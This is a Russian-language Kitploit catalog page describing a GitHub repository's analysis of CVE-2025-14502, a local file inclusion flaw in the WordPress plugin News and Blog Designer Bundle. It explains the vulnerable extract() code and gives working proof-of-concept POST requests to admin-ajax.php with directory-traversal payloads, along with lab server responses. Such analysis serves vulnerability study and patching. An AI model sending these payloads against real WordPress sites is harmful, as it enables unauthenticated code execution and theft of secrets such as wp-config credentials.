Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
WordPress-News-and-Blog-Designer-Bundle-CVE-2025-14502 — Плагин News and Blog Designer Bundle для WordPress во всех версиях до 1.1 включительно содержит уязвимость локального включения файлов через параметр template. Эта уязвимость позволяет неаутентифицированным злоумышленникам включать и выполнять произвольные .php файлы на сервере, запуская любой PHP-код в этих файлах. В сценариях, где разрешена загрузка и включение файлов типа .php, злоумышленник может использовать эту уязвимость для обхода контроля доступа, получения конфиденциальных данных или выполнения кода. | Kitploit
Инструменты/GitHubGitHub/kai-one001/wordpress-news-and-blog-designer-bundle-cve-2025-14502
Анализ уязвимостейАнализ КодаЭксплуатацияЭксплуатация веб-приложенийВеб-безопасностьТестирование на Проникновение
GitHubkai-one001/wordpress-news-and-blog-designer-bundle-cve-2025-14502

WordPress-News-and-Blog-Designer-Bundle-CVE-2025-14502

Репозиторий
27 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →

Описание

Плагин News and Blog Designer Bundle для WordPress во всех версиях до 1.1 включительно содержит уязвимость локального включения файлов через параметр template. Эта уязвимость позволяет неаутентифицированным злоумышленникам включать и выполнять произвольные .php файлы на сервере, запуская любой PHP-код в этих файлах. В сценариях, где разрешена загрузка и включение файлов типа .php, злоумышленник может использовать эту уязвимость для обхода контроля доступа, получения конфиденциальных данных или выполнения кода.

Поделиться

CVE-2025-14502 Отчет об анализе уязвимости

Обзор уязвимости

Тип уязвимости: Локальное включение файлов (Local File Inclusion, LFI)
Версии под воздействием: News and Blog Designer Bundle 1.1 и все предыдущие версии
Степень серьезности: Высокая
Сложность эксплуатации: Низкая (без аутентификации)

Анализ принципа уязвимости

1. Местоположение уязвимости

Основная уязвимость находится в методе nbdb_fetch_more_post() файла includes/class-nbdb-ajax.php.

2. Детали аудита кода

2.1 Местоположение уязвимого кода

root@kitploit:~
sanitize_text_field(extract( $_POST['shrt_param'] )); $template_file_path = NBDB_DIR . '/view/nbdb-masonry/' . $template . '.php'; $template_file = (file_exists($template_file_path)) ? $template_file_path : '';

2.2 Анализ причин уязвимости

Проблема 1: Некорректное использование функции extract()

Строка 31 кода содержит серьезную проблему:

root@kitploit:~
sanitize_text_field(extract( $_POST['shrt_param'] ));
  • Функция extract() извлекает ключи массива как имена переменных, а значения как значения переменных, непосредственно в текущую область видимости
  • Возвращаемое значение extract() — количество успешно извлеченных переменных (целое число), а не сам массив
  • Функция sanitize_text_field() ожидает строковый аргумент, но здесь ей передается целое число
  • Следовательно, эта строка кода на самом деле не обеспечивает никакой защиты

Проблема 2: Отсутствие проверки параметров

В строке 33 напрямую используется переменная $template для построения пути к файлу:

root@kitploit:~
$template_file_path = NBDB_DIR . '/view/nbdb-masonry/' . $template . '.php';
  • Переменная $template получена из extract($_POST['shrt_param']), полностью контролируется пользовательским вводом
  • Отсутствует проверка по белому списку
  • Отсутствует нормализация пути
  • Допускает атаки обхода каталогов

Проблема 3: Проверяется только существование файла

Строка 34 проверяет только существование файла:

root@kitploit:~
$template_file = (file_exists($template_file_path)) ? $template_file_path : '';
  • file_exists() проверяет только существование файла, не проверяет легитимность пути
  • Если злоумышленник может контролировать параметр $template, он может выполнить обход каталогов через ../
  • В конечном итоге на строке 93 выполняется include($template_file), что приводит к произвольному включению файлов

2.3 Сравнение: Безопасная реализация функций обработки шорткода

В файле shortcodes/class-nbdb-shortcode.php все функции обработки шорткода используют проверку по белому списку:

root@kitploit:~
$template = ($template && (array_key_exists(trim($template), $shortcode_templates))) ? trim($template) : 'template-1';
  • Используется функция nbdb_post_template() для получения списка разрешенных шаблонов (только template-1 и template-2)
  • Используется array_key_exists() для проверки по белому списку
  • Если значение не в белом списке, используется значение по умолчанию template-1

Это доказывает, что разработчик знает, как правильно проверять параметры, но проверка была пропущена в обработчике AJAX.

3. Векторы атаки

3.1 Неаутентифицированный доступ

root@kitploit:~
add_action( 'wp_ajax_nbdb_fetch_more_post', array($this, 'nbdb_fetch_more_post') );
add_action( 'wp_ajax_nopriv_nbdb_fetch_more_post', array($this, 'nbdb_fetch_more_post') );
  • Оба хука wp_ajax_ и wp_ajax_nopriv_ зарегистрированы
  • wp_ajax_nopriv_ позволяет доступ неавторизованным пользователям
  • Злоумышленнику не требуется никакой аутентификации для эксплуатации этой уязвимости

3.2 Процесс атаки

  1. Злоумышленник отправляет вредоносный POST-запрос на /wp-admin/admin-ajax.php
  2. Устанавливает action=nbdb_fetch_more_post
  3. В shrt_param[template] внедряет полезную нагрузку для обхода каталогов (например, ../../../../wp-config)
  4. Сервер выполняет extract($_POST['shrt_param']), извлекая template как переменную
  5. Строится путь: NBDB_DIR . '/view/nbdb-masonry/' . '../../../../wp-config' . '.php'
  6. Если целевой файл существует, file_exists() возвращает true
  7. Выполняется include($template_file), что приводит к включению и выполнению целевого PHP-файла

4. Влияние уязвимости

4.1 Прямой ущерб

  • Выполнение кода: Если возможно включить исполняемый PHP-файл, это может привести к удаленному выполнению кода (RCE)
  • Утечка конфиденциальной информации: Возможно чтение содержимого PHP-файлов на сервере (например, wp-config.php)
  • Повышение привилегий: В некоторых конфигурациях может обходить контроль доступа

4.2 Условия эксплуатации

  • Целевой файл должен существовать и быть читаемым
  • Целевой файл должен иметь расширение .php (в коде жёстко задано расширение .php)
  • Сервер должен разрешать выполнение include() для включённого файла. «Возможность чтения» означает, что сам включаемый PHP-файл должен иметь видимый вывод (echo/print/ошибка/протокол ответа), иначе содержимое не отобразится.

Шаги по верификации уязвимости

1. Создание тестового запроса

root@kitploit:~
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: 192.168.119.131:8088
Content-Type: application/x-www-form-urlencoded
Content-Length: 214

action=nbdb_fetch_more_post&count=0&paged=1&shrt_param[template]=../../../../../xmlrpc&shrt_param[gridcol]=2&shrt_param[posts_per_page]=1&shrt_param[orderby]=date&shrt_param[order]=DESC&shrt_param[media_size]=large

1.1. Анализ ответа

root@kitploit:~
HTTP/1.1 200 OK
Date: Thu, 15 Jan 2026 08:12:33 GMT
Server: Apache/2.4.59 (Debian)
X-Powered-By: PHP/8.2.21
X-Robots-Tag: noindex
X-Content-Type-Options: nosniff
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0, no-store, private
Referrer-Policy: strict-origin-when-cross-origin
X-Frame-Options: SAMEORIGIN
Content-Security-Policy: frame-ancestors 'self';
Connection: close
Vary: Accept-Encoding
Content-Length: 403
Content-Type: text/xml; charset=UTF-8

<?xml version="1.0" encoding="UTF-8"?>
<methodResponse>
  <fault>
    <value>
      <struct>
        <member>
          <name>faultCode</name>
          <value><int>-32700</int></value>
        </member>
        <member>
          <name>faultString</name>
          <value><string>parse error. not well formed</string></value>
        </member>
      </struct>
    </value>
  </fault>
</methodResponse>

2. Создание тестового запроса

root@kitploit:~
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: 192.168.119.131:8088
Content-Type: application/x-www-form-urlencoded
Content-Length: 270

action=nbdb_fetch_more_post&count=0&paged=1&shrt_param[template]=../../../../../wp-content/themes/twentytwentyfour/patterns/page-home-blogging&shrt_param[gridcol]=2&shrt_param[posts_per_page]=1&shrt_param[orderby]=date&shrt_param[order]=DESC&shrt_param[media_size]=large

2.1. Анализ ответа

root@kitploit:~
HTTP/1.1 200 OK
Date: Thu, 15 Jan 2026 08:51:33 GMT
Server: Apache/2.4.59 (Debian)
X-Powered-By: PHP/8.2.21
X-Robots-Tag: noindex
X-Content-Type-Options: nosniff
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0, no-store, private
Referrer-Policy: strict-origin-when-cross-origin
X-Frame-Options: SAMEORIGIN
Content-Security-Policy: frame-ancestors 'self';
Vary: Accept-Encoding
Content-Length: 3185
Content-Type: text/html; charset=UTF-8

{"success":1,"data":"\n<!-- wp:pattern {\"slug\":\"twentytwentyfour\/text-centered-statement-small\"}\t\/-->\n\n<!-- wp:group {\"align\":\"wide\",\"style\":{\"spacing\":{\"margin\":{\"top\":\"0\",\"bottom\":\"0\"},\"padding\":{\"top\":\"var:preset|spacing|40\",\"bottom\":\"var:preset|spacing|40\"}}},\"layout\":{\"type\":\"constrained\"}} -->\n<div class=\"wp-block-group alignwide\" style=\"margin-top:0;margin-bottom:0;padding-top:var(--wp--preset--spacing--40);padding-bottom:var(--wp--preset--spacing--40)\">\n\t<!-- wp:columns {\"align\":\"wide\",\"style\":{\"spacing\":{\"blockGap\":{\"top\":\"1rem\",\"left\":\"1rem\"}}}} -->\n\t<div class=\"wp-block-columns alignwide\">\n\t\t<!-- wp:column {\"width\":\"10%\"} -->\n\t\t<div class=\"wp-block-column\" style=\"flex-basis:10%\">\n\t\t<\/div>\n\t\t<!-- \/wp:column -->\n\n\t\t<!-- wp:column {\"width\":\"60%\"} -->\n\t\t<div class=\"wp-block-column\" style=\"flex-basis:60%\">\n\t\t\t<!-- wp:query {\"query\":{\"perPage\":3,\"pages\":0,\"offset\":0,\"postType\":\"post\",\"order\":\"desc\",\"orderBy\":\"date\",\"author\":\"\",\"search\":\"\",\"exclude\":[],\"sticky\":\"\",\"inherit\":true}} -->\n\t\t\t<div class=\"wp-block-query\">\n\t\t\t\t<!-- wp:post-template -->\n\t\t\t\t<!-- wp:group {\"tagName\":\"article\",\"layout\":{\"type\":\"flex\",\"orientation\":\"vertical\",\"justifyContent\":\"stretch\"}} -->\n\t\t\t\t<article class=\"wp-block-group\">\n\t\t\t\t\t<!-- wp:post-featured-image \/-->\n\n\t\t\t\t\t<!-- wp:post-title {\"isLink\":true,\"fontSize\":\"large\"} \/-->\n\n\t\t\t\t\t<!-- wp:template-part {\"slug\":\"post-meta\"} \/-->\n\n\t\t\t\t<\/article>\n\t\t\t\t<!-- \/wp:group -->\n\n\t\t\t\t<!-- wp:post-excerpt {\"moreText\":\"\",\"excerptLength\":40} \/-->\n\n\t\t\t\t<!-- wp:spacer -->\n\t\t\t\t<div style=\"height:100px\" aria-hidden=\"true\" class=\"wp-block-spacer\">\n\t\t\t\t<\/div>\n\t\t\t\t<!-- \/wp:spacer -->\n\t\t\t\t<!-- \/wp:post-template -->\n\n\t\t\t\t<!-- wp:query-pagination {\"paginationArrow\":\"arrow\",\"layout\":{\"type\":\"flex\",\"justifyContent\":\"space-between\"}} -->\n\t\t\t\t<!-- wp:query-pagination-previous \/-->\n\n\t\t\t\t<!-- wp:query-pagination-numbers \/-->\n\n\t\t\t\t<!-- wp:query-pagination-next \/-->\n\t\t\t\t<!-- \/wp:query-pagination -->\n\n\t\t\t\t<!-- wp:query-no-results -->\n\t\t\t\t<!-- wp:pattern {\"slug\":\"twentytwentyfour\/hidden-no-results\"} \/-->\n\t\t\t\t<!-- \/wp:query-no-results -->\n\t\t\t<\/div>\n\t\t\t<!-- \/wp:query -->\n\t\t<\/div>\n\t\t<!-- \/wp:column -->\n\n\t\t<!-- wp:column {\"width\":\"10%\"} -->\n\t\t<div class=\"wp-block-column\" style=\"flex-basis:10%\">\n\t\t<\/div>\n\t\t<!-- \/wp:column -->\n\n\t\t<!-- wp:column {\"width\":\"30%\"} -->\n\t\t<div class=\"wp-block-column\" style=\"flex-basis:30%\">\n\t\t\t<!-- wp:template-part {\"slug\":\"sidebar\",\"tagName\":\"aside\"} \/-->\n\t\t<\/div>\n\t\t<!-- \/wp:column -->\n\n\t\t<!-- wp:column {\"width\":\"10%\"} -->\n\t\t<div class=\"wp-block-column\" style=\"flex-basis:10%\">\n\t\t<\/div>\n\t\t<!-- \/wp:column -->\n\t<\/div>\n\t<!-- \/wp:columns -->\n<\/div>\n<!-- \/wp:group -->\n\n<!-- wp:pattern {\"slug\":\"twentytwentyfour\/cta-subscribe-centered\"}\t\/-->\n","count":1}
Скачать инструмент